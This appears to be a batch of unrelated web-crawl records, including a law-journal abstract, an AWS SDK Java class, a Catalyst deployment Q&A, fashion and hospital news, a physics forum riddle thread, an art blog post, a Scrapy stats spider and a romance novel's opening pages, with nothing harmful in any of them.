This article discusses how the law has approached disparate socio-technological innovations over the centuries. Precisely, the primary concern of this paper is to investigate the timing of regulatory intervention. To do so, the article makes a selection of particular innovations connected with money, windmills and data storage devices, and analyses them from a historical perspective. The individual insights from the selected innovations should yield a more systematic view on regulation and technological innovations. The result is that technological changes may be less momentous, from a regulatory standpoint, than social changes.
Persistent URL dx.doi.org/10.5553/ELR.000112, hdl.handle.net/1765/115658
Series Erasmus Law Review
Journal Erasmus Law Review
Kolacz, M.K, & Quintavalla, A. (2019). The Conduit between Technological Change and Regulation. Erasmus Law Review, 11(3), 143–150. doi:10.5553/ELR.000112
RePub Repository Team
Submitting a Publication
Research Matters
Group User View Publication Person Organisation Collection Concept BigQuery Page View Form Workflow Event Achievement | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 4,012 |
package com.amazonaws.services.databasemigrationservice.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.AmazonWebServiceRequest;
/**
* <p/>
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/dms-2016-01-01/DescribeEventCategories" target="_top">AWS API
* Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class DescribeEventCategoriesRequest extends com.amazonaws.AmazonWebServiceRequest implements Serializable, Cloneable {
/**
* <p>
* The type of AWS DMS resource that generates events.
* </p>
* <p>
* Valid values: replication-instance | replication-task
* </p>
*/
private String sourceType;
/**
* <p>
* Filters applied to the action.
* </p>
*/
private java.util.List<Filter> filters;
/**
* <p>
* The type of AWS DMS resource that generates events.
* </p>
* <p>
* Valid values: replication-instance | replication-task
* </p>
*
* @param sourceType
* The type of AWS DMS resource that generates events. </p>
* <p>
* Valid values: replication-instance | replication-task
*/
public void setSourceType(String sourceType) {
this.sourceType = sourceType;
}
/**
* <p>
* The type of AWS DMS resource that generates events.
* </p>
* <p>
* Valid values: replication-instance | replication-task
* </p>
*
* @return The type of AWS DMS resource that generates events. </p>
* <p>
* Valid values: replication-instance | replication-task
*/
public String getSourceType() {
return this.sourceType;
}
/**
* <p>
* The type of AWS DMS resource that generates events.
* </p>
* <p>
* Valid values: replication-instance | replication-task
* </p>
*
* @param sourceType
* The type of AWS DMS resource that generates events. </p>
* <p>
* Valid values: replication-instance | replication-task
* @return Returns a reference to this object so that method calls can be chained together.
*/
public DescribeEventCategoriesRequest withSourceType(String sourceType) {
setSourceType(sourceType);
return this;
}
/**
* <p>
* Filters applied to the action.
* </p>
*
* @return Filters applied to the action.
*/
public java.util.List<Filter> getFilters() {
return filters;
}
/**
* <p>
* Filters applied to the action.
* </p>
*
* @param filters
* Filters applied to the action.
*/
public void setFilters(java.util.Collection<Filter> filters) {
if (filters == null) {
this.filters = null;
return;
}
this.filters = new java.util.ArrayList<Filter>(filters);
}
/**
* <p>
* Filters applied to the action.
* </p>
* <p>
* <b>NOTE:</b> This method appends the values to the existing list (if any). Use
* {@link #setFilters(java.util.Collection)} or {@link #withFilters(java.util.Collection)} if you want to override
* the existing values.
* </p>
*
* @param filters
* Filters applied to the action.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public DescribeEventCategoriesRequest withFilters(Filter... filters) {
if (this.filters == null) {
setFilters(new java.util.ArrayList<Filter>(filters.length));
}
for (Filter ele : filters) {
this.filters.add(ele);
}
return this;
}
/**
* <p>
* Filters applied to the action.
* </p>
*
* @param filters
* Filters applied to the action.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public DescribeEventCategoriesRequest withFilters(java.util.Collection<Filter> filters) {
setFilters(filters);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getSourceType() != null)
sb.append("SourceType: ").append(getSourceType()).append(",");
if (getFilters() != null)
sb.append("Filters: ").append(getFilters());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof DescribeEventCategoriesRequest == false)
return false;
DescribeEventCategoriesRequest other = (DescribeEventCategoriesRequest) obj;
if (other.getSourceType() == null ^ this.getSourceType() == null)
return false;
if (other.getSourceType() != null && other.getSourceType().equals(this.getSourceType()) == false)
return false;
if (other.getFilters() == null ^ this.getFilters() == null)
return false;
if (other.getFilters() != null && other.getFilters().equals(this.getFilters()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getSourceType() == null) ? 0 : getSourceType().hashCode());
hashCode = prime * hashCode + ((getFilters() == null) ? 0 : getFilters().hashCode());
return hashCode;
}
@Override
public DescribeEventCategoriesRequest clone() {
return (DescribeEventCategoriesRequest) super.clone();
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 7,701 |
Q: Catalyst exiting when started with start-stop-daemon I am trying to run Catalyst on CentOS 7 using start-stop-daemon. Here is the start-stop-daemon command that I run:
start-stop-daemon --start --pidfile /var/run/myapp.pid -d "/home/user/myapp" --exec /opt/perlbrew/perls/perl-5.22.0/bin/perl --startas "/home/user/myapp/script/myapp_fastcgi.pl" --chuid root --make-pid -- "-l :8100 -n 6"
Then I get this error:
Cannot resolve host name -- exiting!
It displays this error after loading the chained actions and printing them to the screen, and after displaying the final message:
[info] myapp powered by Catalyst 5.90112
In /etc/hosts I've tried commenting out any hostnames I thought might be causing an issue:
127.0.0.1 myapp.com myapp.com
#127.0.0.1 localhost.localdomain localhost
#127.0.0.1 localhost4.localdomain4 localhost4
# The following lines are desirable for IPv6 capable hosts
#::1 myapp.com myapp.com
#::1 localhost.localdomain localhost
#::1 localhost6.localdomain6 localhost6
What's strange is that if I don't use start-stop-daemon and I just start the server from the command-line, the server starts fine.
A: Most likely it can't resolve your hostname.
Check what your hostname command returns and make sure that same host name is present in your /etc/hosts. And don't assign it to loopback, use a real IP.
You can also trace what exactly it's trying to resolve by using this method
https://serverfault.com/questions/666482/how-to-find-out-pid-of-the-process-sending-packets-generating-network-traffic
Or might be even more simple to do tcpdump -s 0 port 53
| {
"redpajama_set_name": "RedPajamaStackExchange"
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Today marked one of the most highly anticipated collections of the season at Paris Fashion Week: Clare Waight Keller's debut collection for Givenchy. Waight Keller, the former creative director for Chloé, saw much success at that veteran French fashion house, so the industry has been buzzing about what she would do in her new role at Givenchy upon taking the reigns from Riccardo Tisci.
Her debut collection, shown this morning, was full of polished, cool-glam pieces in a mostly black, white, and red palette. Many of the looks were paired with a boot style that's been trending for fall: cowboy boots. Waight Keller gave hers an ultra-flattering update by creating a deep V-shaped scallop at the boot's shaft. Instead of cutting the legs off just below the knee, they showed a little more skin, which in turn lengthened the appearance of the legs. We fully expect to see this chic, flattering take on the cowboy trend on plenty of fashion girls come spring.
See the boots up close, and see the full Givenchy S/S 18 collection below.
Next, see the pretty spring color trend that's the opposite of fall's It color. | {
"redpajama_set_name": "RedPajamaC4"
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Sunderland visit showcases advances in healthcare
Published on: 3 May 2019
A delegation from the city of Harbin in China has made a special visit to Sunderland to see the advances that the city has made in key areas of healthcare such as cardiovascular medicine, dementia care and how technology can be used to improve patient outcomes.
The visit, which was organised by Sunderland City Council saw representatives from Harbin First Hospital meet with staff at Sunderland Royal Hospital to discuss potential collaboration and sharing of best practice.
The delegation, which included the Director-General of Harbin Health Commission were keen to hear more about South Tyneside and Sunderland NHS Foundation Trust's plans across a range of clinical specialties. They were also interested in the work the Trust is doing to help lead the digital transformation of the NHS as one of 17 acute Trust Global Digital Exemplars. The Trust is already completely paper free at point of care in its Emergency Department in Sunderland and is working to integrate patient information systems and new digital technologies across all of its sites, in both South Tyneside and Sunderland, for the benefit of patient care.
The delegation also visited Sunderland University to discuss its partnership with the Trust and the new medical school which will take its first intake of students in September 2019. The Trust also works closely with the university's School of Nursing to develop home grown nursing talent.
Harbin, like Sunderland, has an ageing population and faces increasing pressures on its healthcare system due to a rise in age-related illnesses, such as dementia. Additional challenges include the changing dietary and lifestyle patterns of Harbin's 10.9m population, meaning that health professionals have to adapt to a new demand on healthcare services.
It is hoped that by working with Sunderland counterparts, Harbin can discuss best practice and use this information and learning to develop future plans and development for the benefit of its growing communities.
Sunderland City Council and the Chinese city of Harbin signed an International Friendship Agreement ten years ago, which over the last decade has seen regular visits to and from each partner city to develop strong educational, cultural and business links between the two communities.
This latest visit, led by the Chief Executive of Sunderland City Council, Patrick Melia, and Assistant Director of Economic Regeneration, Catherine Auld, will help further develop the successful Sunderland City Council led Foreign Commonwealth Office Development Fund Bid.
Peter Sutton, Executive Director of Planning and Business Development at South Tyneside and Sunderland NHS Foundation Trust, said: "We were delighted to host colleagues from Harbin and to have the chance to discuss potential opportunities to work in collaboration in the future. Harbin has many of the same healthcare challenges as we facing in the NHS and with an increasing and ageing population, faces many of the same pressures that we have here.
"The work we are leading, right here in Sunderland to support patients with dementia and delirium and to develop world class cardiovascular services is already improving outcomes for thousands of patients across Sunderland and South Tyneside. This, alongside our digital transformation programme, is setting an exciting blueprint for the future of healthcare services and we are excited to be able to share this work with our counterparts Harbin First Hospital and in turn learn some valuable lessons from the work they do in China."
Sunderland's Director of Public Health, Gillian Gibson said: "The great thing about the International Friendship Agreement between our two cities is that it is constantly evolving, and as mutual understanding and appreciation continues to grow, so does our realisation that there are so many aspects of civic life we can work together to improve by sharing our views and experiences.
"That obviously includes health, and the Harbin delegation's visit to Sunderland Royal Hospital is the latest development led by the Council to explore close collaboration and research within our respective hospitals and health care sectors.
"Our two cities share many similar challenges and learning how we both seek to address them through visits such as this is a vital part of that process, with many aspects of our City Plan particularly relevant in how we are working together in Sunderland to create a healthier, more cohesive and digitally enabled community."
Chief of Staff of Harbin CPC Committee, Mr Wang Wenli said: "The visit has been an excellent opportunity to meet with key representatives from the City Council, hospital, University and education partners. I am delighted that we have identified key areas of activity which we will be working closely together to develop and which will generate real benefits for the people of both communities." | {
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{"url":"https:\/\/www.physicsforums.com\/threads\/i-need-some-assistance-in-solving-a-riddle.713443\/","text":"# I need some assistance in solving a riddle.\n\n1. Sep 29, 2013\n\nHi,\n\nFirst time poster and I believe that the people on this forum may have a greater chance of solving this riddle or making sense of we have so far.\n\nhttp:\/\/imgur.com\/eUAete2\n\nI am more than happy to go into the background of all of this, but in short, this is related to a riddle that is hidden within a video game. The creator of the riddle has been posting these images, along with a number of complex clues within the game itself and I am reaching out to the forum members here to see if you can add any value or otherwise assist in piecing this all together.\n\nThis is just for fun and I am reaching out here because the more we investigate this, it seems to be related to atoms and more specifically sub atomic particles. None of us working on solving this are particularly qualified so just thought I would ask for help here.\n\nSo far we have determined that they are:\n\n1. Electron or perhaps a reaction of sorts?\n2. Atom\n3.\n4.\n5. Energy Multiplier Module\n6.\n7.\n8.\n9. MRI (of the brain)\n10.\n11. Feynman Diagram - of sub atomic particle\n12. Euler equation\n13. Periodic table of elements\n14. Gravity\n15. Atomic Bomb explosion\n16. Planck constant\n17.\n18. Finite Continued fraction\n\nI believe there are more images but I am not sure how many. I believe all the images relate to one another, perhaps in the form of a story, a common theme, and they may just be the key to unlocking more of this puzzle.\n\nAny assistance is appreciated. Hope you don't mind me posting this here and I very much value any information you can share with us.\n\nThe game is called Trials Evolution and this is all based off discussions on their forums, however I won't post a link here as I am sure a bot will remove it pretty quickly when I am new to these forums.\n\nLook forward to hearing back from anyone?\n\nRegards,\n\n2. Sep 29, 2013\n\n### Simon Bridge\n\nHere's the concepts that spring to mind for me:\n(counting horizontally)\n\n1. electric field\n2. planets (could be planetary model of atom)\n5. mass-energy relation (a bad representation of)\n7.\n8.\n9. brain\n10. vagina - but most random squiggles look like vaginas to me\n- maybe an eye or an animal cell or something like that.\n11. feynman diagram - they are not subatomic though. The e is an electron.\nNotice that time runs horizontally ... so we have a positron and an electron annihilating to make a photon - that does not go very far before it pair-produces some other particle ... the key is that spiral off the end.\n\n12. euler equation\n13. atoms\n14. gravity\n15. nuclear energy\n16. energy of a photon\n17. interference fringes\n18. quantum mechanics (discrete energy levels)\n\n3. Sep 30, 2013\n\nIm only just starting to go through your comments but I think this is spot on. Great find. :)\n\n4. Sep 30, 2013\n\n### Cthugha\n\nNumber 17 looks like Pascal's triangle to me, but the numbers do not seem to work out. Unfortunately they are hard to decipher.\n\n5. Sep 30, 2013\n\nSomeone else just pointed this out.. I think it is Pascals Triangle though. The numbers 8008 and 11440 are shown in the triangle and 8008 1140 in the image.. there are other similar numbers but agree, not a perfect match.. I think he just altered the numbers slightly to ensure it was not a simple google search.\n\n6. Sep 30, 2013\n\n### Cthugha\n\nIs it known, whether the \"balls\" in pictures 1,2,3 and 7 always represent the same thing?\n\nIf not, picture 1 looks like a schematic Tesla coil to me.\n\n7. Sep 30, 2013\n\nWe don't know this.. but based on gut feel I suspect that as they are drawn exactly the same, they would prepresent the same thing. If you were to draw an artists inperpretation of a Tesla Coil you would draw it differently I suspect.\n\n8. Sep 30, 2013\n\n### Simon Bridge\n\nOh those are numbers... I was squinting and squinting......... yeah - pascales triangle or binomial coefficients. Statistics -> uncertainty -> statistical nature of fundamental laws?\n\nViewed from above? Could also be the inside of a plasma globe or a closeup of a very bloodshot eyeball. Certainly suggests electrical discharges to me though.\n\n9. Sep 30, 2013\n\n### Staff: Mentor\n\n18 does look like badly drawn continued fractions.\n\n10. Sep 30, 2013\n\nhaha the 'artist' is a video game developer and not an artist so I will cut him some slack. :)\n\n11. Sep 30, 2013\n\n### Bandersnatch\n\nTesla, Bohr and Pauli went out to the Cavity Rad pub. They ordered an Eggnog and two Mohitos.\n-\"Hey, isn't that Cherenkov sitting there?\"\n-\"Don't bother, he thinks he's on a higher level now. He don't hang with us no more.\"\n-\"He thinks he's a brainiac that one.\"\n-\"What, him? He's got, like, a single gray cell in there, and spends most of his time trying to keep it from annihilating.\"\n-\"Aye, he's so rigid in his opinions not even Euler could turn him around.\"\n-\"I hear he's with some shady elements nowadays. Dropping people from heights and blowing stuff up.\"\n-\"Well, that sure shines some light on what happened to Pascal and his triangles. I say better avoid him\"\n-\"Indeed. Discretion is the better part of valour.\"\n\n... I got nothing.\n\n12. Sep 30, 2013\n\n### Staff: Mentor\n\nThis looks more like someone who has a so-so grasp of physics\/mathematics, but is a fine artist.\n\n13. Sep 30, 2013\n\n### FieldvForce\n\nThird one could be a photon..\n\nThe Sixth one could be an incomplete 2d representation of youngs double slit\nexperiment (highly doubt it; a representation without interference? ??).\n\nfeel silly.\n\nThank you.\n\nLast edited: Sep 30, 2013\n14. Sep 30, 2013\n\n### Simon Bridge\n\nYou mean #18 like:\n\n$$a_0+\\frac{1}{a_1+\\frac{1}{a_2+\\cdots \\frac{1}{a_n}}}$$\n\nI think you're right: a continued fraction.\n\n@FieldvForce: welcome to PF - how do you get a photon off that?\n\n15. Sep 30, 2013\n\n### craigi\n\nSome guesses at the others:\n\n7) Hole migration in a semi-conductor\n8) Some kind of representation of a potential well.\n10) Cell sub-division.\n\n16. Sep 30, 2013\n\n### FieldvForce\n\nThanks for the welcome.\n\nAs to your question, the first picture looked like it might be representing an electron the second an atom, I thought the third was a photon because I presumed the artist wanted to introduce photoelectric effect, drawing an orb with rays comming out of it, possibly loosely representing wave-particle duality.\n\n17. Sep 30, 2013\n\n### MikeGomez\n\n#10 looks like a single celled organism. Perhaps it is a clue for DNA, or evolution.\n\n18. Sep 30, 2013\n\n### A.T.\n\nOr string theory?\n\n19. Sep 30, 2013\n\n### Simon Bridge\n\nEverything is a clue for string theory :)\n\n20. Sep 30, 2013\n\n### Enigman\n\n10 is probably an eukaryotic cell undergoing karyokinesis.","date":"2016-05-04 04:16:27","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 1, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.3465079069137573, \"perplexity\": 2555.555784743053}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461860122501.26\/warc\/CC-MAIN-20160428161522-00083-ip-10-239-7-51.ec2.internal.warc.gz\"}"} | null | null |
Bianca Sforni, Annatina Miescher, and Jonathan McVey, others around them, are first of all connected by friendship. And one idea lives in their minds: there is no such thing as outsider art. There are artists. Some of them were treasure islands found over decades of psychiatric practice by Dr. Annatina Miescher: they were self taught, sometimes in a strong conflict with life. In 2011, after twenty years as a director of the Outpatient Chemical Dependency Program of the Bellevue Hospital in New York, Dr. Miescher invited them to be part of the 137ac (artist collective) and share a studio. Some of their works were hung on the walls of Bianca Sforni's Noho studio on March 5th for an exhibition blessed by the snow. Bianca, or you could call her White, is a belated gift I received from Claudia, a friend for all her life, after she passed away. She was Bianca's gallerist in Milan. I met Bianca in New York and we ate and ate remembering Claudia who used to love a great deal of good food. What's stronger than friendship?
Here's the story, written by Annatina doctor, with images of the 137ac studio first and of her Bellevue Hospital office between words.
The 429.8 square feet studio is on the third floor of 137 West 14th Street in New York City. Four artist work there sharing all supplies. Kenny Guttierrez, the landlord, offered them a space in the building where he is creating a community he named Rat Park. He thought they would bring good karma. My parents pay the rent. I clean and help stretch canvas. Jonathan McVey made me stick to my dream and became my associate. We created a non-profit building support for the collective. We have no written contract with the painters, they have it clear: the studio air is tolerance, care and respect while they inspire and challenge each other to explore and develop their talent to the fullest. They have their own keys.
The four artists currently working at the studio are Paula Isaac, Janet Laing, Richard Lau and Uman while the collective counts several more. Painting need or desire and life circumstances do not always go hand in hand and the studio is small. Each artist has an extraordinary life course and could write a tremendous book, but they do not write, they paint. I hope you get to know them.
Now the dream. Mid 2010 I ended my over two decades career in Bellevue Hospital in order to continue practicing psychiatry based on my experience and ethical values outside of an institution in which the bureaucratic constraints had suddenly risen above the patient care. My time at Bellevue had been wonderful, I was the director of the Outpatient Chemical Dependency Program and together with the dedicated staff and patients was able to build a wholesome community for people to practice sober life in a fun loving oasis that included art, food, patient government and economy, pets and gardening integrated with first class medical and psychiatric treatments. My office was an art collection of patient works mixed with found objects and found animals. A timber wolf, a one eyed black cat called Six Toes, a pigeon, a pair of gay doves and three cockatiels roamed free in my office. Art has always been a way of life for me and I apply it to everything. "Practicing psychiatry is like making sculptures with found objects, you take inventory of what the person carries and help them balance it to walk on in life." One day an Art Brut authority visited my office and was impressed by the art. His words still resonate in my heart: "you have to make them paint", while his name faded.
So I had a dream debt: to see what the talented people I had met there could do if given the opportunity. This opportunity arrived in December 2011. I was introduced to Bjarne Melgaard who was looking for a source of painters to collaborate with. He offered to share his personal studio in Bushwick with painters without formal art education or contact with the contemporary art world. I brought eleven artists and became myself part of the group.
Bjarne was an exceptional host, he made it a point to not interfere with our work and gave us unlimited access to art supplies. We understood he was looking for authenticity. Then he offered us his own painted canvas to collaborate on and asked us to do papier mâché pieces to illustrate a book we did not read.
He included our works in his show at Ramiken Crucible, Ideal Pole part two: all words destroy and brought the collaborative works and all the papier mâché works to London in September 2012, to be in his ICA show, called "a House to Die in", our group was called the Bellevue Survivors. Our time in Melgaard's studio came to an end.
We continued the group in a smaller version and adopted the name 137ac. the Bellevue Survivors name inspired people in the press to be at liberty to refer to us neither as people nor artists but "the schizophrenics". Melgaard continued to donate supplies, and curated our first 137ac show :"Dans ma Chambre" in a pop up space in the Chelsea art Gallery district in May 2013. While we learned how to work as a collective we had another show "Artists in Resonance" at Adjacent to Life (http://adjacenttolife.tumblr.com) curated by Mark Roth in October 2013 and offered a couple of studio art fairs.
Then Bianca Sforni offered to host and curate a show "Art Brut" in her beautiful Bleecker Street Studio in March 2015. She had followed the collective since its beginnings in Melgaard's studio. Her professionalism, dedication and care challenged us to realize we have a responsibility to take our place in the contemporary art scene.
Posted on March 31, 2015 March 31, 2015 by turtle2028 This entry was posted in Art Brut and tagged Annatina Miescher, Bellevue Hospital New York, Bianca Sforni, Bjarne Melgaard, Jean Dubuffet, Outpatient Chemical Dependency Program, Raw Art. Bookmark the permalink. | {
"redpajama_set_name": "RedPajamaC4"
} | 3,518 |
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"redpajama_set_name": "RedPajamaC4"
} | 7,748 |
from scrapy.selector import Selector
from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
from scrapy.contrib.spiders import CrawlSpider, Rule
from rleague_crawler.items import RleagueCrawlerItem
class StatsRleagueComSpider(CrawlSpider):
name = 'stats_rleague_com'
allowed_domains = ['stats.rleague.com']
start_urls = ['http://stats.rleague.com/rl/seas/2014.html']
rules = (
Rule(SgmlLinkExtractor(allow=r'scorers/games/2014/\d+\.html'), callback='parse_item', follow=True),
)
def parse_item(self, response):
sel = Selector(response)
i = RleagueCrawlerItem()
i['teamone'] = {
'name': ''.join(sel.xpath('normalize-space(//table//tr[1]/th[1])').extract()),
'players': [],
}
i['teamtwo'] = {
'name': ''.join(sel.xpath('normalize-space(//table//tr[1]/th[2])').extract()),
'players': [],
}
for tr in sel.xpath('//table//tr[position() > 2 and position() < last() - 1]'):
i['teamone']['players'].append({
'pos': ''.join(tr.xpath('td[1]//text()').extract()).strip(),
'player': ''.join(tr.xpath('td[2]//text()').extract()).strip(),
't': ''.join(tr.xpath('td[3]//text()').extract()).strip(),
'g': ''.join(tr.xpath('td[4]//text()').extract()).strip(),
'fg': ''.join(tr.xpath('td[5]//text()').extract()).strip(),
'pts': ''.join(tr.xpath('td[6]//text()').extract()).strip(),
})
i['teamtwo']['players'].append({
'pos': ''.join(tr.xpath('td[7]//text()').extract()).strip(),
'player': ''.join(tr.xpath('td[8]//text()').extract()).strip(),
't': ''.join(tr.xpath('td[9]//text()').extract()).strip(),
'g': ''.join(tr.xpath('td[10]//text()').extract()).strip(),
'fg': ''.join(tr.xpath('td[11]//text()').extract()).strip(),
'pts': ''.join(tr.xpath('td[12]//text()').extract()).strip(),
})
i['scrums'] = ''.join(sel.xpath('normalize-space(//table//tr[last()]/td/*[contains(., "Scrums")]/following-sibling::text()[1])').extract())
i['penalties'] = ''.join(sel.xpath('normalize-space(//table//tr[last()]/td/*[contains(., "Penalties")]/following-sibling::text()[1])').extract())
i['referees'] = sel.xpath('//table//tr[last()]/td/*[contains(., "Venue")]/preceding-sibling::a//text()').extract()
i['venue'] = ''.join(sel.xpath('normalize-space(//table//tr[last()]/td/*[contains(., "Venue")]/following-sibling::*[1]/text())').extract())
i['crowd'] = ''.join(sel.xpath('normalize-space(//table//tr[last()]/td/*[contains(., "Crowd")]/following-sibling::text()[1])').extract())
i['date'] = ''.join(sel.xpath('normalize-space(//table//tr[last()]/td/*[contains(., "Date")]/following-sibling::text()[1])').extract())
i['link'] = response.url
if i['teamone'] != '':
return i
| {
"redpajama_set_name": "RedPajamaGithub"
} | 2,870 |
# PRAISE FOR #1 NEW YORK TIMES BESTSELLING AUTHOR
CHRISTINE FEEHAN
"The erotic, gripping series that has defined an entire genre . . . I love everything [Christine Feehan] does."
—J. R. Ward
"The queen of paranormal romance."
— _USA Today_
"Gritty, brutal and wonderfully magical . . . Unexpected and mesmerizing perfection."
— _Library Journal_
"Once again, Christine Feehan brings a sizzling story of seduction and sorcery to her readers."
—Examiner.com
"Book after book, Feehan gives readers emotionally rich and powerful stories that are hard to forget!"
— _RT Book Reviews_
"She is the master."
—The Best Reviews
"Intense, sensual, mesmerizing."
— _Library Journal_
"[An] out-of-the-ordinary romance . . . deeply sensuous . . . exquisitely detailed."
— _Booklist_
"Exciting and full of danger as well as a deeply moving love story."
—Fresh Fiction
"Ms. Feehan is at the top of her game with this magical romance."
—The Romance Readers Connection
"Suspenseful, engaging—fraught with magic, action and romance . . . I HAVE to read the next one in the series."
—Smexy Books
"Avid readers of Ms. Feehan's work should dive in."
—Fiction Vixen
"Stunning, vivid, lushly visual . . . It's the perfect way to escape."
—Romance Books Forum
# Titles by Christine Feehan
SPIDER GAME
VIPER GAME
SAMURAI GAME
RUTHLESS GAME
STREET GAME
MURDER GAME
PREDATORY GAME
DEADLY GAME
CONSPIRACY GAME
NIGHT GAME
MIND GAME
SHADOW GAME
HIDDEN CURRENTS
TURBULENT SEA
SAFE HARBOR
DANGEROUS TIDES
OCEANS OF FIRE
WILD CAT
CAT'S LAIR
LEOPARD'S PREY
SAVAGE NATURE
WILD FIRE
BURNING WILD
WILD RAIN
FIRE BOUND
EARTH BOUND
AIR BOUND
SPIRIT BOUND
WATER BOUND
SHADOW RIDER
DARK PROMISES
DARK GHOST
DARK BLOOD
DARK WOLF
DARK LYCAN
DARK STORM
DARK PREDATOR
DARK PERIL
DARK SLAYER
DARK CURSE
DARK HUNGER
DARK POSSESSION
DARK CELEBRATION
DARK DEMON
DARK SECRET
DARK DESTINY
DARK MELODY
DARK SYMPHONY
DARK GUARDIAN
DARK LEGEND
DARK FIRE
DARK CHALLENGE
DARK MAGIC
DARK GOLD
DARK DESIRE
DARK PRINCE
Anthologies
EDGE OF DARKNESS
(with Maggie Shayne and Lori Herter)
DARKEST AT DAWN
_(includes_ Dark Hunger _and_ Dark Secret _)_
SEA STORM
_(includes_ Magic in the Wind _and_ Oceans of Fire _)_
FEVER
_(includes_ The Awakening _and_ Wild Rain _)_
HOT BLOODED
_(with Maggie Shayne, Emma Holly, and Angela Knight)_
LOVER BEWARE
_(with Fiona Brand, Katherine Sutcliffe, and Eileen Wilks)_
FANTASY
_(with Emma Holly, Sabrina Jeffries, and Elda Minger)_
Specials
DARK HUNGER
MAGIC IN THE WIND
THE AWAKENING
**An imprint of Penguin Random House LLC**
**375 Hudson Street, New York, New York 10014**
SHADOW RIDER
A Jove Book / published by arrangement with the author
Copyright © 2016 by Christine Feehan.
Excerpt from _Dark Carousel_ copyright © 2016 by Christine Feehan.
Penguin supports copyright. Copyright fuels creativity, encourages diverse voices, promotes free speech, and creates a vibrant culture. Thank you for buying an authorized edition of this book and for complying with copyright laws by not reproducing, scanning, or distributing any part of it in any form without permission. You are supporting writers and allowing Penguin to continue to publish books for every reader.
JOVE® is a registered trademark of Penguin Random House LLC.
The "J" design is a trademark of Penguin Random House LLC.
For more information, visit penguin.com.
eBook ISBN: 9780698197770
PUBLISHING HISTORY
Jove mass-market edition / July 2016
Cover illustration by Danny O'Leary.
Cover design by Judith Lagerman.
Cover photograph of brick © Lenatru / Shutterstock.
This is a work of fiction. Names, characters, places, and incidents either are the product of the author's imagination or are used fictitiously, and any resemblance to actual persons, living or dead, business establishments, events, or locales is entirely coincidental.
Version_1
For Alisha Roysum,
thanks for the major family support.
I can't tell you how much it means to me.
# FOR MY READERS
Be sure to go to christinefeehan.com/members/ to sign up for my PRIVATE book announcement list and download the FREE ebook of _Dark Desserts_. Join my community and get firsthand news, enter the book discussions, ask your questions and chat with me. Please feel free to email me at Christine@christinefeehan.com. I would love to hear from you.
# ACKNOWLEDGMENTS
With any book there are many people to thank. For her help with Italian translations, a huge thank-you to Lillian Pacini. Any mistakes made are strictly my own. Thanks to Domini, for her research and help with editing; to C. L. Wilson, Sheila English and Kathie Firzlaff, for the hours in starfish bouncing around ideas; and of course to Brian Feehan, who I can call anytime and brainstorm with so I don't lose a single hour.
# CONTENTS
_PRAISE FOR CHRISTINE FEEHAN_
_TITLES BY CHRISTINE FEEHAN_
_TITLE PAGE_
_COPYRIGHT_
_DEDICATION_
_FOR MY READERS_
_ACKNOWLEDGMENTS_
CHAPTER ONE
CHAPTER TWO
CHAPTER THREE
CHAPTER FOUR
CHAPTER FIVE
CHAPTER SIX
CHAPTER SEVEN
CHAPTER EIGHT
CHAPTER NINE
CHAPTER TEN
CHAPTER ELEVEN
CHAPTER TWELVE
CHAPTER THIRTEEN
CHAPTER FOURTEEN
CHAPTER FIFTEEN
CHAPTER SIXTEEN
CHAPTER SEVENTEEN
CHAPTER EIGHTEEN
CHAPTER NINETEEN
CHAPTER TWENTY
CHAPTER TWENTY-ONE
CHAPTER TWENTY-TWO
CHAPTER TWENTY-THREE
CHAPTER TWENTY-FOUR
EPILOGUE
_EXCERPT FROM_ Dark Carousel
_ABOUT THE AUTHOR_
# CHAPTER ONE
Stefano Ferraro pulled on soft leather driving gloves, his dark blue eyes taking a long, slow scan around the neighborhood. _His_ neighborhood. His family knew everything that happened there. It was a good place to live, the people loyal. A close-knit community. It was safe because his family kept it safe. Women could walk the streets alone at night. Children could play outside without parents fearing for them.
He knew every shop owner, every homeowner by name. The Ferraro family territory started just on the edge of Little Italy. He knew every inch of Little Italy as well, and those residing and working there knew him and his family. Crime stopped at the edge of the Ferraro territory. That invisible line was known by even the most hardened of criminals and no one dared to cross it because retaliation was always swift and brutal.
He glanced at his watch, knowing he didn't have a lot of time. The jet was fueled and waiting for his arrival. He needed to get into his car and get the hell to the airport, but something held him there. Whatever it was, the feeling he had was disturbing. The compulsion to stay was strong, and anytime that happened, every Ferraro knew there was trouble coming. He carefully and very quietly shut the door to his Maserati, rounding the hood, and then retreating to the sidewalk.
